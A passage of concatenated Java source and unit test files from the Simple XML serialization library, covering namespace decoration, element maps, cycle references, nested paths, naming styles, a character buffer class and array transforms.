* this decorator, any common data can then be overwritten.
*
* @param node this is the node that is to be decorated by this
* @param secondary this is a secondary decorator to be applied
*/
public void decorate(OutputNode node, Decorator secondary) {
decorator.decorate(node, secondary);
}
/**
* This method is used to scan the <code>Contact</code> provided
* to determine if there are any namespace annotations. If there
* are any annotations then these are added to the internal
* namespace decorator. This ensues that they can be applied to
* the node when that node requests decoration.
*
* @param contact this is the contact to be scanned for namespaces
*/
private void scan(Contact contact) {
namespace(contact);
scope(contact);
}
/**
* This is use to scan for <code>Namespace</code> annotations on
* the contact. Once a namespace has been located then it is used
* to populate the internal namespace decorator. This can then be
* used to decorate any output node that requires it.
*
* @param contact this is the contact to scan for namespaces
*/
private void namespace(Contact contact) {
Namespace primary = contact.getAnnotation(Namespace.class);
if(primary != null) {
decorator.set(primary);
decorator.add(primary);
}
}
/**
* This is use to scan for <code>NamespaceList</code> annotations
* on the contact. Once a namespace list has been located then it is
* used to populate the internal namespace decorator. This can then
* be used to decorate any output node that requires it.
*
* @param contact this is the contact to scan for namespace lists
*/
private void scope(Contact contact) {
NamespaceList scope = contact.getAnnotation(NamespaceList.class);
if(scope != null) {
for(Namespace name : scope.value()) {
decorator.add(name);
}
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MultiElementMapTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.Date;
import java.util.Map;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Transient;
import org.simpleframework.xml.ValidationTestCase;
public class MultiElementMapTest extends ValidationTestCase {
private static final String SOURCE =
"<properties>\n"+
" <entry>\n"+
" <key>boolean-value</key>\n"+
" <value>\n"+
" <boolean>true</boolean>\n"+
" </value>\n"+
" </entry>\n"+
" <entry>\n"+
" <key>string-value</key>\n"+
" <value>\n"+
" <string>hello world</string>\n"+
" </value>\n"+
" </entry>\n"+
" <entry>\n"+
" <key>int-value</key>\n"+
" <value>\n"+
" <int>42</int>\n"+
" </value>\n"+
" </entry>\n"+
"</properties>";
@Root
private static class Value {
@Element(name="boolean", required=false)
private Boolean booleanValue;
@Element(name="byte", required=false)
private Byte byteValue;
@Element(name="double", required=false)
private Double doubleValue;
@Element(name="float", required=false)
private Float floatValue;
@Element(name="int", required=false)
private Integer intValue;
@Element(name="long", required=false)
private Long longValue;
@Element(name="short", required=false)
private Short shortValue;
@Element(name="dateTime", required=false)
private Date dateTime;
@Element(name="string", required=false)
private String string;
@Transient
private Object value;
@Validate
private void commit() {
if(booleanValue != null) {
value = booleanValue;
}
if(byteValue != null) {
value = byteValue;
}
if(doubleValue != null) {
value = doubleValue;
}
if(floatValue != null) {
value = floatValue;
}
if(intValue != null) {
value = intValue;
}
if(longValue != null) {
value = longValue;
}
if(shortValue != null) {
value = shortValue;
}
if(dateTime != null) {
value = dateTime;
}
if(string != null) {
value = string;
}
}
public Object get() {
return value;
}
public void set(Object value) {
this.value = value;
}
}
@Root
private static class Properties {
@ElementMap(key="key", value="value", inline=true)
private Map<String, Value> map;
public Object get(String name) {
return map.get(name).get();
}
}
public void testProperties() throws Exception {
Persister persister = new Persister();
Properties properties = persister.read(Properties.class, SOURCE);
assertEquals(true, properties.get("boolean-value"));
assertEquals("hello world", properties.get("string-value"));
assertEquals(42, properties.get("int-value"));
validate(persister, properties);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/CycleTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.ValidationTestCase;
public class CycleTest extends ValidationTestCase {
private static final int ITERATIONS = 1000;
@Root(name="example")
public static class CycleExample {
@ElementList(name="list", type=Entry.class)
private List<Entry> list;
@Element(name="cycle")
private CycleExample cycle;
public CycleExample() {
this.list = new ArrayList();
this.cycle = this;
}
public void add(Entry entry) {
list.add(entry);
}
public Entry get(int index) {
return list.get(index);
}
}
@Root(name="entry")
public static class Entry {
@Attribute(name="key")
private String name;
@Element(name="value")
private String value;
protected Entry() {
super();
}
public Entry(String name, String value) {
this.name = name;
this.value = value;
}
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister(new CycleStrategy("id", "ref"));
}
public void testCycle() throws Exception {
CycleExample example = new CycleExample();
Entry one = new Entry("1", "one");
Entry two = new Entry("2", "two");
Entry three = new Entry("3", "three");
Entry threeDuplicate = new Entry("3", "three");
example.add(one);
example.add(two);
example.add(three);
example.add(one);
example.add(two);
example.add(threeDuplicate);
assertEquals(example.get(0).value, "one");
assertEquals(example.get(1).value, "two");
assertEquals(example.get(2).value, "three");
assertEquals(example.get(3).value, "one");
assertEquals(example.get(4).value, "two");
assertEquals(example.get(5).value, "three");
assertTrue(example.get(0) == example.get(3));
assertTrue(example.get(1) == example.get(4));
assertFalse(example.get(2) == example.get(5));
StringWriter out = new StringWriter();
persister.write(example, System.out);
persister.write(example, out);
example = persister.read(CycleExample.class, out.toString());
assertEquals(example.get(0).value, "one");
assertEquals(example.get(1).value, "two");
assertEquals(example.get(2).value, "three");
assertEquals(example.get(3).value, "one");
assertEquals(example.get(4).value, "two");
assertTrue(example.get(0) == example.get(3));
assertTrue(example.get(1) == example.get(4));
assertFalse(example.get(2) == example.get(5));
validate(example, persister);
}
public void testMemory() throws Exception {
CycleExample example = new CycleExample();
Entry one = new Entry("1", "one");
Entry two = new Entry("2", "two");
Entry three = new Entry("3", "three");
Entry threeDuplicate = new Entry("3", "three");
example.add(one);
example.add(two);
example.add(three);
example.add(one);
example.add(two);
example.add(threeDuplicate);
StringWriter out = new StringWriter();
persister.write(example, System.out);
persister.write(example, out);
for(int i = 0; i < ITERATIONS; i++) {
persister.write(example, new StringWriter());
}
for(int i = 0; i < ITERATIONS; i++) {
persister.read(CycleExample.class, out.toString());
}
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NestedElementTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class NestedElementTest extends ValidationTestCase {
@Root
@SuppressWarnings("all")
private static class NestedElementExample {
@Attribute(name="area-code")
@Path("contact-info[1]/phone")
private final int areaCode;
@Element
@Path("contact-info[1]/address")
private final String city;
@Element
@Path("contact-info[1]/address")
private final String street;
@Element
@Path("contact-info[1]/phone")
private final String mobile;
@Element
@Path("./contact-info[1]/phone")
private final String home;
public NestedElementExample(
@Element(name="city") String city,
@Element(name="street") String street,
@Element(name="mobile") String mobile,
@Element(name="home") String home,
@Attribute(name="area-code") int areaCode)
{
this.city=city;
this.street=street;
this.mobile=mobile;
this.home=home;
this.areaCode = areaCode;
}
}
public void testNestedExample() throws Exception{
NestedElementExample example = new NestedElementExample("London", "Bevenden", "34512345", "63356464", 61);
Persister persister = new Persister();
StringWriter writer = new StringWriter();
persister.write(example, writer);
System.out.println(writer.toString());
NestedElementExample recovered = persister.read(NestedElementExample.class, writer.toString());
assertEquals(example.city, recovered.city);
assertEquals(example.street, recovered.street);
assertEquals(example.mobile, recovered.mobile);
assertEquals(example.home, recovered.home);
validate(example,persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/StyleTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import junit.framework.TestCase;
public class StyleTest extends TestCase {
public void testHyphenStyle() {
Style strategy = new HyphenStyle();
System.err.println(strategy.getElement("Base64Encoder"));
System.err.println(strategy.getElement("Base64_Encoder"));
System.err.println(strategy.getElement("Base64___encoder"));
System.err.println(strategy.getElement("base64--encoder"));
System.err.println(strategy.getElement("Base64encoder"));
System.err.println(strategy.getElement("_Base64encoder"));
System.err.println(strategy.getElement("__Base64encoder"));
System.err.println(strategy.getElement("URLList"));
System.err.println(strategy.getElement("__Base64encoder"));
System.err.println(strategy.getElement("Base_64_Encoder"));
System.err.println(strategy.getElement("base_64_encoder"));
}
public void testCamelCaseStyle() {
Style strategy = new CamelCaseStyle();
System.err.println(strategy.getElement("Base64Encoder"));
System.err.println(strategy.getElement("Base64_Encoder"));
System.err.println(strategy.getElement("Base64___encoder"));
System.err.println(strategy.getElement("base64--encoder"));
System.err.println(strategy.getElement("Base64encoder"));
System.err.println(strategy.getElement("_Base64encoder"));
System.err.println(strategy.getElement("__Base64encoder"));
System.err.println(strategy.getElement("URLList"));
System.err.println(strategy.getElement("__Base64encoder"));
System.err.println(strategy.getElement("Base_64_Encoder"));
System.err.println(strategy.getElement("base_64_encoder"));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/Compression.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.zip.Deflater;
public enum Compression {
NONE(1, Deflater.NO_COMPRESSION),
DEFAULT(2, Deflater.DEFAULT_COMPRESSION),
FASTEST(3, Deflater.BEST_SPEED),
BEST(4, Deflater.BEST_COMPRESSION);
public final int level;
public final int code;
private Compression(int code, int level) {
this.level = level;
this.code = code;
}
public boolean isCompression() {
return this != NONE;
}
public int getCode() {
return ordinal();
}
public int getLevel() {
return level;
}
public static Compression resolveCompression(int code) {
for(Compression compression : values()) {
if(compression.code == code) {
return compression;
}
}
return NONE;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/DefaultTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class DefaultTest extends ValidationTestCase {
private static final String SOURCE =
"<defaultTextList version='ONE'>\n"+
" <list>\r\n" +
" <textEntry name='a' version='ONE'>Example 1</textEntry>\r\n"+
" <textEntry name='b' version='TWO'>Example 2</textEntry>\r\n"+
" <textEntry name='c' version='THREE'>Example 3</textEntry>\r\n"+
" </list>\r\n"+
"</defaultTextList>";
@Root
private static class DefaultTextList {
@ElementList
private List<TextEntry> list;
@Attribute
private Version version;
public TextEntry get(int index) {
return list.get(index);
}
}
@Root
private static class TextEntry {
@Attribute
private String name;
@Attribute
private Version version;
@Text
private String text;
}
private enum Version {
ONE,
TWO,
THREE
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister();
}
public void testList() throws Exception {
DefaultTextList list = persister.read(DefaultTextList.class, SOURCE);
assertEquals(list.version, Version.ONE);
assertEquals(list.get(0).version, Version.ONE);
assertEquals(list.get(0).name, "a");
assertEquals(list.get(0).text, "Example 1");
assertEquals(list.get(1).version, Version.TWO);
assertEquals(list.get(1).name, "b");
assertEquals(list.get(1).text, "Example 2");
assertEquals(list.get(2).version, Version.THREE);
assertEquals(list.get(2).name, "c");
assertEquals(list.get(2).text, "Example 3");
StringWriter buffer = new StringWriter();
persister.write(list, buffer);
String text = buffer.toString();
assertElementHasAttribute(text, "/defaultTextList/list", "class", "java.util.ArrayList");
assertElementHasAttribute(text, "/defaultTextList/list/textEntry[1]", "name", "a");
assertElementHasAttribute(text, "/defaultTextList/list/textEntry[2]", "name", "b");
assertElementHasAttribute(text, "/defaultTextList/list/textEntry[3]", "name", "c");
assertElementHasValue(text, "/defaultTextList/list/textEntry[1]", "Example 1");
assertElementHasValue(text, "/defaultTextList/list/textEntry[2]", "Example 2");
assertElementHasValue(text, "/defaultTextList/list/textEntry[3]", "Example 3");
validate(list, persister);
list = persister.read(DefaultTextList.class, text);
assertEquals(list.version, Version.ONE);
assertEquals(list.get(0).version, Version.ONE);
assertEquals(list.get(0).name, "a");
assertEquals(list.get(0).text, "Example 1");
assertEquals(list.get(1).version, Version.TWO);
assertEquals(list.get(1).name, "b");
assertEquals(list.get(1).text, "Example 2");
assertEquals(list.get(2).version, Version.THREE);
assertEquals(list.get(2).name, "c");
assertEquals(list.get(2).text, "Example 3");
buffer = new StringWriter();
persister.write(list, buffer);
String copy = buffer.toString();
assertElementHasAttribute(copy, "/defaultTextList/list", "class", "java.util.ArrayList");
assertElementHasAttribute(copy, "/defaultTextList/list/textEntry[1]", "name", "a");
assertElementHasAttribute(copy, "/defaultTextList/list/textEntry[2]", "name", "b");
assertElementHasAttribute(copy, "/defaultTextList/list/textEntry[3]", "name", "c");
assertElementHasValue(text, "/defaultTextList/list/textEntry[1]", "Example 1");
assertElementHasValue(text, "/defaultTextList/list/textEntry[2]", "Example 2");
assertElementHasValue(text, "/defaultTextList/list/textEntry[3]", "Example 3");
validate(list, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/util/DictionaryTest.java<|end_filename|>
package org.simpleframework.xml.util;
import java.util.Iterator;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class DictionaryTest extends ValidationTestCase {
private static final String LIST =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list>\n"+
" <property name='1'>\n"+
" <text>one</text> \n\r"+
" </property>\n\r"+
" <property name='2'>\n"+
" <text>two</text> \n\r"+
" </property>\n"+
" <property name='3'>\n"+
" <text>three</text> \n\r"+
" </property>\n"+
" </list>\n"+
"</test>";
@Root(name="property")
private static class Property implements Entry {
@Element(name="text")
private String text;
@Attribute
private String name;
public String getName() {
return name;
}
}
@Root(name="test")
private static class PropertySet implements Iterable<Property> {
@ElementList(name="list", type=Property.class)
private Dictionary<Property> list;
@Attribute(name="name")
private String name;
public Iterator<Property> iterator() {
return list.iterator();
}
public Property get(String name) {
return list.get(name);
}
public int size() {
return list.size();
}
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testDictionary() throws Exception {
PropertySet set = (PropertySet) serializer.read(PropertySet.class, LIST);
assertEquals(3, set.size());
assertEquals("one", set.get("1").text);
assertEquals("two", set.get("2").text);
assertEquals("three", set.get("3").text);
validate(set, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/HtmlParseTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.stream.Format;
public class HtmlParseTest extends ValidationTestCase {
private static final String HTML =
"<html>\n"+
"<body>\n"+
"<p>\n"+
"This is a test <b>Bold text</b> other text. This is <i>italics</i> and"+
" also another <p>Paragraph <i>italic</i> inside a paragraph</p>"+
"</p>\n"+
"</body>\n"+
"</html>\n";
@Root
private static class Bold {
@Text
private String text;
}
@Root
private static class Italic {
@Text
private String text;
}
@Root
private static class Paragraph {
@Text
@ElementListUnion({
@ElementList(entry="b", type=Bold.class, required=false, inline=true),
@ElementList(entry="i", type=Italic.class, required=false, inline=true),
@ElementList(entry="p", type=Paragraph.class, required=false, inline=true),
})
private List<Object> boldOrText;
}
@Root
private static class Body {
@ElementList(entry="p", inline=true)
private List<Paragraph> list;
}
@Root
private static class Document {
@Element
private Body body;
}
public void testDocument() throws Exception {
Format format = new Format(0);
Persister persister = new Persister(format);
Document doc = persister.read(Document.class, HTML);
assertNotNull(doc.body);
Body body = doc.body;
List<Paragraph> paragraphs = body.list;
assertEquals(paragraphs.size(), 1);
assertEquals(paragraphs.get(0).boldOrText.size(), 6);
assertEquals(paragraphs.get(0).boldOrText.get(0), "\nThis is a test ");
assertEquals(paragraphs.get(0).boldOrText.get(1).getClass(), Bold.class);
assertEquals(paragraphs.get(0).boldOrText.get(2), " other text. This is ");
assertEquals(paragraphs.get(0).boldOrText.get(3).getClass(), Italic.class);
assertEquals(paragraphs.get(0).boldOrText.get(4), " and also another ");
assertEquals(paragraphs.get(0).boldOrText.get(5).getClass(), Paragraph.class);
validate(persister, doc);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/StrategyTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.lang.reflect.Constructor;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.strategy.Value;
import org.simpleframework.xml.stream.Node;
import org.simpleframework.xml.stream.NodeMap;
public class StrategyTest extends TestCase {
private static final String ELEMENT_NAME = "example-attribute";
private static final String ELEMENT =
"<?xml version=\"1.0\"?>\n"+
"<root key='attribute-example-key' example-attribute='org.simpleframework.xml.core.StrategyTest$ExampleExample'>\n"+
" <text>attribute-example-text</text> \n\r"+
"</root>";
@Root(name="root")
private static abstract class Example {
public abstract String getValue();
public abstract String getKey();
}
private static class ExampleExample extends Example {
@Attribute(name="key")
public String key;
@Element(name="text")
public String text;
public String getValue() {
return text;
}
public String getKey() {
return key;
}
}
public class ExampleStrategy implements Strategy {
private StrategyTest test;
public ExampleStrategy(StrategyTest test){
this.test = test;
}
public Value read(Type field, NodeMap node, Map map) throws Exception {
Node value = node.remove(ELEMENT_NAME);
if(value == null) {
return null;
}
String name = value.getValue();
Class type = Class.forName(name);
return new SimpleType(type);
}
public boolean write(Type field, Object value, NodeMap node, Map map) throws Exception {
if(field.getType() != value.getClass()) {
node.put(ELEMENT_NAME, value.getClass().getName());
}
return false;
}
}
public static class SimpleType implements Value{
private Class type;
public SimpleType(Class type) {
this.type = type;
}
public int getLength() {
return 0;
}
public Object getValue() {
try {
Constructor method = type.getDeclaredConstructor();
if(!method.isAccessible()) {
method.setAccessible(true);
}
return method.newInstance();
}catch(Exception e) {
throw new RuntimeException(e);
}
}
public void setValue(Object value) {
}
public boolean isReference() {
return false;
}
public Class getType() {
return type;
}
}
public void testExampleStrategy() throws Exception {
ExampleStrategy strategy = new ExampleStrategy(this);
Serializer persister = new Persister(strategy);
Example example = persister.read(Example.class, ELEMENT);
assertTrue(example instanceof ExampleExample);
assertEquals(example.getValue(), "attribute-example-text");
assertEquals(example.getKey(), "attribute-example-key");
persister.write(example, System.err);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Template.java<|end_filename|>
/*
* Template.java February 2001
*
* Copyright (C) 2001, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
/**
* This is primarily used to replace the <code>StringBuffer</code>
* class, as a way for the <code>TemplateEngine</code> to store the
* data for a specific region within the parse data that constitutes
* a desired value. The methods are not synchronized so it enables
* the characters to be taken quicker than the string buffer class.
*
* @author <NAME>
*/
class Template {
/**
* This is used to quicken <code>toString</code>.
*/
protected String cache;
/**
* The characters that this buffer has accumulated.
*/
protected char[] buf;
/**
* This is the number of characters this has stored.
*/
protected int count;
/**
* Constructor for <code>Template</code>. The default
* <code>Template</code> stores 16 characters before a
* <code>resize</code> is needed to append extra characters.
*/
public Template(){
this(16);
}
/**
* This creates a <code>Template</code> with a specific
* default size. The buffer will be created the with the
* length specified. The <code>Template</code> can grow
* to accomodate a collection of characters larger the the
* size spacified.
*
* @param size initial size of this <code>Template</code>
*/
public Template(int size){
this.buf = new char[size];
}
/**
* This will add a <code>char</code> to the end of the buffer.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accomodate more characters.
*
* @param c the <code>char</code> to be appended
*/
public void append(char c){
ensureCapacity(count+ 1);
buf[count++] = c;
}
/**
* This will add a <code>String</code> to the end of the buffer.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accomodate large <code>String</code> objects.
*
* @param str the <code>String</code> to be appended to this
*/
public void append(String str){
ensureCapacity(count+ str.length());
str.getChars(0,str.length(),buf,count);
count += str.length();
}
/**
* This will add a <code>Template</code> to the end of this.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accomodate large <code>Template</code> objects.
*
* @param text the <code>Template</code> to be appended
*/
public void append(Template text){
append(text.buf, 0, text.count);
}
/**
* This will add a <code>char</code> to the end of the buffer.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accomodate large <code>char</code> arrays.
*
* @param c the <code>char</code> array to be appended to this
* @param off the read offset for the array
* @param len the number of characters to append to this
*/
public void append(char[] c, int off, int len){
ensureCapacity(count+ len);
System.arraycopy(c,off,buf,count,len);
count+=len;
}
/**
* This will add a <code>String</code> to the end of the buffer.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accomodate large <code>String</code> objects.
*
* @param str the <code>String</code> to be appended to this
* @param off the read offset for the <code>String</code>
* @param len the number of characters to append to this
*/
public void append(String str, int off, int len){
ensureCapacity(count+ len);
str.getChars(off,len,buf,count);
count += len;
}
/**
* This will add a <code>Template</code> to the end of this.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accomodate large <code>Template</code> objects.
*
* @param text the <code>Template</code> to be appended
* @param off the read offset for the <code>Template</code>
* @param len the number of characters to append to this
*/
public void append(Template text, int off, int len){
append(text.buf, off, len);
}
/**
* This ensure that there is enough space in the buffer to allow
* for more characters to be added. If the buffer is already
* larger than min then the buffer will not be expanded at all.
*
* @param min the minimum size needed for this buffer
*/
protected void ensureCapacity(int min) {
if(buf.length < min) {
int size = buf.length * 2;
int max = Math.max(min, size);
char[] temp = new char[max];
System.arraycopy(buf, 0, temp, 0, count);
buf = temp;
}
}
/**
* This will empty the <code>Template</code> so that the
* <code>toString</code> paramater will return <code>null</code>.
* This is used so that the same <code>Template</code> can be
* recycled for different tokens.
*/
public void clear(){
cache = null;
count = 0;
}
/**
* This will return the number of bytes that have been appended
* to the <code>Template</code>. This will return zero after
* the clear method has been invoked.
*
* @return the number of characters within this buffer object
*/
public int length(){
return count;
}
/**
* This will return the characters that have been appended to the
* <code>Template</code> as a <code>String</code> object.
* If the <code>String</code> object has been created before then
* a cached <code>String</code> object will be returned. This
* method will return <code>null</code> after clear is invoked.
*
* @return the characters appended as a <code>String</code>
*/
public String toString(){
return new String(buf,0,count);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/AnnotationHandlerTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
public class AnnotationHandlerTest extends TestCase {
@ElementArray
@ElementList
@ElementMap
@Element
public void testHandler() throws Exception {
AnnotationHandler elementHandler = new AnnotationHandler(Element.class);
Element element = getClass().getDeclaredMethod("testHandler").getAnnotation(Element.class);
System.err.println(elementHandler);
System.err.println(element);
AnnotationHandler elementListHandler = new AnnotationHandler(ElementList.class);
ElementList elementList = getClass().getDeclaredMethod("testHandler").getAnnotation(ElementList.class);
System.err.println(elementListHandler);
System.err.println(elementList);
AnnotationHandler elementMapHandler = new AnnotationHandler(ElementMap.class);
ElementMap elementMap = getClass().getDeclaredMethod("testHandler").getAnnotation(ElementMap.class);
System.err.println(elementMapHandler);
System.err.println(elementMap);
AnnotationHandler elementArrayHandler = new AnnotationHandler(ElementArray.class);
ElementArray elementArray = getClass().getDeclaredMethod("testHandler").getAnnotation(ElementArray.class);
System.err.println(elementArrayHandler);
System.err.println(elementArray);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/Test5Test.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import java.io.StringWriter;
import java.util.Arrays;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.core.Persister;
public class Test5Test extends TestCase {
@Root(name="test5")
public static class Test5 {
@ElementUnion({
@Element(name="elementA", type=MyElementA.class),
@Element(name="elementB", type=MyElementB.class),
@Element(name="element", type=MyElement.class)
})
MyElement element;
java.util.ArrayList<MyElement> elements;
@Path(value="elements")
@ElementListUnion({
@ElementList(entry="elementA", type=MyElementA.class, inline=true),
@ElementList(entry="elementB", type=MyElementB.class, inline=true),
@ElementList(entry="element", type=MyElement.class, inline=true)
})
java.util.ArrayList<MyElement> getElements(){
return this.elements;
}
@Path(value="elements")
@ElementListUnion({
@ElementList(entry="elementA", type=MyElementA.class, inline=true),
@ElementList(entry="elementB", type=MyElementB.class, inline=true),
@ElementList(entry="element", type=MyElement.class, inline=true)
})
void setElements(final java.util.ArrayList<MyElement> elements){
this.elements = elements;
}
Test5(){
}
public Test5(final MyElement element, final MyElement... elements){
this(element, new java.util.ArrayList<MyElement>(Arrays.asList(elements)));
}
public Test5(final MyElement element, final java.util.ArrayList<MyElement> elements) {
super();
this.element = element;
this.elements = elements;
}
}
@Root
public static class MyElement{
}
public static class MyElementA extends MyElement{
}
public static class MyElementB extends MyElement{
}
public void testSerialize() throws Exception{
Serializer s = new Persister();
StringWriter sw = new StringWriter();
//FIXME serialization is ok
s.write(new Test5(new MyElementA(), new MyElementA(), new MyElementB()), sw);
String serializedForm = sw.toString();
System.out.println(serializedForm);
System.out.println();
//FIXME but no idea what is happening
Test5 o = s.read(Test5.class, serializedForm);
sw.getBuffer().setLength(0);
s.write(o, sw);
System.out.println(sw.toString());
System.out.println();
sw.getBuffer().setLength(0);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/ArrayTransform.java<|end_filename|>
/*
* PrimitiveArrayTransform.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
import org.simpleframework.xml.transform.StringArrayTransform;
import java.lang.reflect.Array;
/**
* The <code>PrimitiveArrayTransform</code> is used to transform
* arrays to and from string representations, which will be inserted
* in the generated XML document as the value place holder. The
* value must be readable and writable in the same format. Fields
* and methods annotated with the XML attribute annotation will use
* this to persist and retrieve the value to and from the XML source.
* <pre>
*
* @Attribute
* private int[] text;
*
* </pre>
* As well as the XML attribute values using transforms, fields and
* methods annotated with the XML element annotation will use this.
* Aside from the obvious difference, the element annotation has an
* advantage over the attribute annotation in that it can maintain
* any references using the <code>CycleStrategy</code> object.
*
* @author <NAME>
*/
class ArrayTransform implements Transform {
/**
* This transform is used to split the comma separated values.
*/
private final StringArrayTransform split;
/**
* This is the transform that performs the individual transform.
*/
private final Transform delegate;
/**
* This is the entry type for the primitive array to be created.
*/
private final Class entry;
/**
* Constructor for the <code>PrimitiveArrayTransform</code> object.
* This is used to create a transform that will create primitive
* arrays and populate the values of the array with values from a
* comma separated list of individula values for the entry type.
*
* @param delegate this is used to perform individual transforms
* @param entry this is the entry component type for the array
*/
public ArrayTransform(Transform delegate, Class entry) {
this.split = new StringArrayTransform();
this.delegate = delegate;
this.entry = entry;
}
/**
* This method is used to convert the string value given to an
* appropriate representation. This is used when an object is
* being deserialized from the XML document and the value for
* the string representation is required.
*
* @param value this is the string representation of the value
*
* @return this returns an appropriate instanced to be used
*/
public Object read(String value) throws Exception {
String[] list = split.read(value);
int length = list.length;
return read(list, length);
}
/**
* This method is used to convert the string value given to an
* appropriate representation. This is used when an object is
* being deserialized from the XML document and the value for
* the string representation is required.
*
* @param list this is the string representation of the value
* @param length this is the number of string values to use
*
* @return this returns an appropriate instanced to be used
*/
private Object read(String[] list, int length) throws Exception {
Object array = Array.newInstance(entry, length);
for(int i = 0; i < length; i++) {
Object item = delegate.read(list[i]);
if(item != null) {
Array.set(array, i, item);
}
}
return array;
}
/**
* This method is used to convert the provided value into an XML
* usable format. This is used in the serialization process when
* there is a need to convert a field value in to a string so
* that that value can be written as a valid XML entity.
*
* @param value this is the value to be converted to a string
*
* @return this is the string representation of the given value
*/
public String write(Object value) throws Exception {
int length = Array.getLength(value);
return write(value, length);
}
/**
* This method is used to convert the provided value into an XML
* usable format. This is used in the serialization process when
* there is a need to convert a field value in to a string so
* that that value can be written as a valid XML entity.
*
* @param value this is the value to be converted to a string
*
* @return this is the string representation of the given value
*/
private String write(Object value, int length) throws Exception {
String[] list = new String[length];
for(int i = 0; i < length; i++) {
Object entry = Array.get(value, i);
if(entry != null) {
list[i] = delegate.write(entry);
}
}
return split.write(list);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CollectionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
